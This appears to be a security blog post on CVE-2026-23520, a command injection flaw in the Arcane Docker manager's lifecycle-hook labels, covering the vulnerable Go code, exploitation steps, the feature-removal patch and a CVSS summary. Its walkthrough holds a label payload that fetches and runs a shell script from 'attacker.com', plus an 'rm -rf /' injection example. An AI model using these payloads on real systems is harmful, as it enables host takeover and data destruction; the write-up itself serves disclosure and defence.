Feb 18, 2026·6 min read·24 visits
Arcane < 1.13.0 allows authenticated users to achieve Remote Code Execution (RCE) by adding malicious 'lifecycle' labels to Docker containers. When the container updates, the payload executes. The vendor fixed this by completely removing the feature.
A critical command injection vulnerability in the Arcane Docker management platform allows authenticated users to execute arbitrary commands on the host system via malicious container labels. The flaw resides in the updater service's handling of lifecycle hooks, where metadata is passed directly to a shell interpreter without sanitization.
In the DevOps world, we love our "Single Panes of Glass." Tools like Portainer, Yacht, and Arcane promise to tame the wild west of Docker CLI commands into a nice, clicky UI. But here is the dirty secret of infrastructure management tools: they are effectively Remote Access Trojans (RATs) with a login screen. By definition, they need privileged access to the Docker socket (/var/run/docker.sock) to start, stop, and destroy containers. If you compromise the manager, you own the infrastructure.
Arcane, a "modern" Docker management platform, introduced a feature that sounds incredibly convenient on paper: Lifecycle Hooks. The idea was simple. Let's say you have a database container that needs to run a migration script before it updates, or a cleanup script after it updates. Instead of writing complex external orchestration logic, you could just slap a label on the container, and Arcane would handle it for you.
It’s the classic developer trap: prioritizing convenience over security boundary enforcement. They built a mechanism to execute commands based on metadata attached to an object. The problem? That metadata is often user-controlled, and in this case, the execution mechanism was about as subtle as a brick through a window.
The vulnerability (CVE-2026-23520) lies in how Arcane's updater service processes these lifecycle hooks. Specifically, the system looks for Docker labels named com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update. When an update is triggered—either manually by an admin or automatically by a schedule—Arcane reads the strings inside these labels and executes them.
Here is where the logic falls apart. In secure programming, when you need to execute a command, you avoid the shell at all costs. You use execve style calls where arguments are passed as an array, preventing the interpreter from treating data as code. Arcane did the opposite. They took the string from the label—an untrusted source—and fed it directly into a shell execution path.
This is a textbook Command Injection (CWE-78). The application logic assumed that because the label exists on a container, it must be safe. But in Arcane, users with permissions to create projects or deploy containers can define these labels. This means a "Low Privilege" user (in the context of the app) can define a label that the "High Privilege" system (the updater) executes blindly. It's an escalation ladder built right into the feature set.
Let's look at the smoking gun. The vulnerability lived in backend/internal/utils/arcaneupdater/labels.go. The function GetLifecycleCommand was responsible for scraping the labels and preparing the command.
The Vulnerable Code:
func GetLifecycleCommand(labels map[string]string, lifecycleLabel string) []string {
for k, v := range labels {
if strings.EqualFold(k, lifecycleLabel) {
v = strings.TrimSpace(v)
if v == "" { return nil }
// VULNERABILITY: Direct injection into shell slice
return []string{"/bin/sh", "-c", v}
}
}
return nil
}See that []string{"/bin/sh", "-c", v} line? That is the developer signing a blank check to the attacker. The variable v is the raw content of the label. There is no sanitization, no validation, and no escaping.
If v is echo hello, it runs echo hello.
If v is ; rm -rf /;, well, you can guess what happens.
The code blindly constructs a command slice that invokes the system shell and passes the user input as the command string. In Go (and many other languages), using sh -c is necessary if you want to use shell features like pipes or redirects, but it opens the door to injection if the input isn't strictly controlled. Here, the input was completely uncontrolled.
Exploiting this requires authenticated access, but in many organizations, "authenticated" just means "a developer account." Here is how a rogue user turns a Docker label into a root shell.
Step 1: The Setup
The attacker deploys a new container or modifies an existing one via the Arcane API or UI. They attach a malicious label targeting the pre-update hook.
services:
trojan_horse:
image: alpine:latest
labels:
- "com.getarcaneapp.arcane.lifecycle.pre-update=apk add curl && curl http://attacker.com/shell.sh | sh"Step 2: The Trigger The payload doesn't fire immediately. It's a landmine. It waits for an update event. The attacker can simply click "Update" on the container in the UI, or wait for Arcane's automated scheduler to detect a new image digest (which is trivial to spoof if the attacker controls the image tag).
Step 3: Execution
When the update triggers, GetLifecycleCommand runs. It sees the label. It constructs /bin/sh -c "apk add curl && curl ... | sh".
Step 4: Elevation The command runs inside the container context, but initiated by the Arcane service. If the container has the Docker socket mounted (common for management agents) or if the command allows breaking out of the container (e.g., via shared namespaces), the attacker has effectively compromised the host. Even without socket access, they have RCE within the Arcane infrastructure network.
How do you fix a feature that is inherently dangerous? You don't. You delete it.
The developers of Arcane didn't try to write a complex regex to sanitize the input (which usually fails). They didn't try to sandbox the execution. In version 1.13.0, they chose the "Scorched Earth" policy.
The Patch (Commit 5a9c2f92e11f86f8997da8c672844468f930b7e4):
The diff is a sea of red lines (deletions).
backend/internal/utils/arcaneupdater/labels.go entirely.ExecutePreUpdateCommand in the updater service.This is a fascinating case of "Secure by Removal." The feature was deemed too risky to maintain relative to its value. By removing the code, the attack surface drops to zero. If you rely on those hooks for your workflow, your workflow is now broken, but at least your server isn't part of a botnet.
> [!NOTE] > This highlights a critical lesson: sometimes the best code is no code. If a feature creates a massive security hole and is only used by 1% of users, the correct security decision is deprecation.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Arcane Arcane | < 1.13.0 | 1.13.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network (Authenticated) |
| CVSS Score | 9.1 (Critical) |
| Impact | Remote Code Execution (RCE) |
| EPSS Score | 0.0008 (23.38%) |
| Fix Strategy | Feature Removal |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')